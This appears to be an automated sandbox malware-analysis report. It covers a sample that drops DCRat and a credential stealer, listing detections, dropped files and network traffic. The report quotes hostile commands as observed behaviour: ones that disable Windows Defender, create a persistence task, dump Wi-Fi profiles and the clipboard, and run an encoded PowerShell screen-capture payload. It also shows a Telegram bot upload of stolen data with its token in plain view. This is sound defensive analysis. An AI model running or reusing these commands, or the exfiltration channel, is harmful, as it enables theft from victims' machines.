AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 6648, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 7256, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Built.exe, ProcessId: 6648, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\6tGWMkdYv4.exe, ProcessId: 1896, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "bMCzMxeQsb" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /rl HIGHEST /f, CommandLine: schtasks.exe /create /tn "bMCzMxeQsb" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 6648, ParentProcessName: Built.exe, ProcessCommandLine: schtasks.exe /create /tn "bMCzMxeQsb" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /rl HIGHEST /f, ProcessId: 7420, ProcessName: schtasks.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Built.exe, ProcessId: 6648, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, ParentProcessId: 5860, ParentProcessName: DCRatBuild.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe" , ProcessId: 2504, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7844, TargetFilename: C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3504, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 4436, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7288, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 6648, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7304, ProcessName: cmd.exe

Snort Signatures

ETPRO TROJAN DCRat Initial Checkin Server Response M4 - Source IP: 5.101.152.137 - Destination IP: 192.168.2.5

Timestamp:	06/20/24-19:07:57.302868
SID:	2850862
Source Port:	80
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN DCRat Initial Checkin Server Response M4 - Source IP: 5.101.152.137 - Destination IP: 192.168.2.5

Timestamp:	06/20/24-19:08:57.911494
SID:	2850862
Source Port:	80
Destination Port:	49750
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 6tGWMkdYv4.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files\Microsoft\OneDrive\conhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Avira: detection malicious, Label: HEUR/AGEN.1306040
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen2
Source: C:\Users\user\AppData\Local\Temp\B74FhMKHT4.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\Default\SearchApp.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\bMCzMxeQsb.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Common Files\bMCzMxeQsb.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Microsoft\OneDrive\conhost.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Multimedia Platform\bMCzMxeQsb.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\bMCzMxeQsb.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Default\SearchApp.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\Built.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\x10.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\x4.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Local\Temp\x5.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\x6.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\x7.exe	ReversingLabs: Detection: 89%

Multi AV Scanner detection for submitted file

Source: 6tGWMkdYv4.exe

ReversingLabs: Detection: 89%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.1% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft\OneDrive\conhost.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Joe Sandbox ML: detected
Source: C:\Users\Default\SearchApp.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 6tGWMkdYv4.exe

Joe Sandbox ML: detected

Source: 6tGWMkdYv4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Common Files\bMCzMxeQsb.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Common Files\0fc9465337303e
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Multimedia Platform\bMCzMxeQsb.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Multimedia Platform\0fc9465337303e
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Microsoft\OneDrive\conhost.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Microsoft\OneDrive\088424020bedd6

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49725 version: TLS 1.2

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: CheatLauncherV2.exe, 00000009.00000003.2119036104.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 0000000A.00000000.2122054385.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmp, DCRatBuild.exe, 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmp, DCRatBuild.exe, 0000000A.00000003.2126584011.0000000006CDC000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 0000000A.00000003.2128404238.0000000005503000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws2_32.pdb source: ws2_32.dll.13.dr
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: Microsoft.Web.WebView2.Wpf.dll.13.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: api-ms-win-crt-filesystem-l1-1-0.dll.13.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Built.exe, 0000000C.00000003.2138694070.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdbgI source: CheatLauncherV2.exe, 00000009.00000002.2142214795.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SolaraBootstrapper.exe, 0000000D.00000000.2139033491.0000000000662000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Built.exe, 0000000C.00000003.2138694070.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb% source: Microsoft.Web.WebView2.Wpf.dll.13.dr
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdb source: CheatLauncherV2.exe, 00000009.00000002.2142214795.0000000001088000.00000004.00000020.00020000.00000000.sdmp, SolaraBootstrapper.exe, 0000000D.00000000.2139033491.0000000000662000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: ws2_32.pdbUGP source: ws2_32.dll.13.dr

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FCA5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	10_2_00FCA5F4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FDB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	10_2_00FDB8E0
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 10_2_00FEAAA8 FindFirstFileExA,	10_2_00FEAAA8

Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\AppData
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\AppData\Local
Source: C:\agentInto\fontsessionruntime.exe	File opened: C:\Users\user\Desktop\desktop.ini

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2850862 ETPRO TROJAN DCRat Initial Checkin Server Response M4 5.101.152.137:80 -> 192.168.2.5:49743
Source: Traffic	Snort IDS: 2850862 ETPRO TROJAN DCRat Initial Checkin Server Response M4 5.101.152.137:80 -> 192.168.2.5:49750

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: Joe Sandbox View

ASN Name: TELEGRAMRU TELEGRAMRU

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Files/Solara.Dir.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/version.txt HTTP/1.1User-Agent: SolaraHost: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /quivings/Solara/main/Storage/patched.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.1

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: kit-pro.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /bot6463842780:AAFaYRMI8L5vU1x4kT-GXUhqbxhmWpQtN6k/sendDocument HTTP/1.1Host: api.telegram.orgAccept-Encoding: identityContent-Length: 583620User-Agent: python-urllib3/2.2.1Content-Type: multipart/form-data; boundary=f66e670c7152a234c3c9a88ee6d77edd

Source: Built.exe, 0000000C.00000003.2146522155.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: Built.exe, 0000000C.00000003.2153050774.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
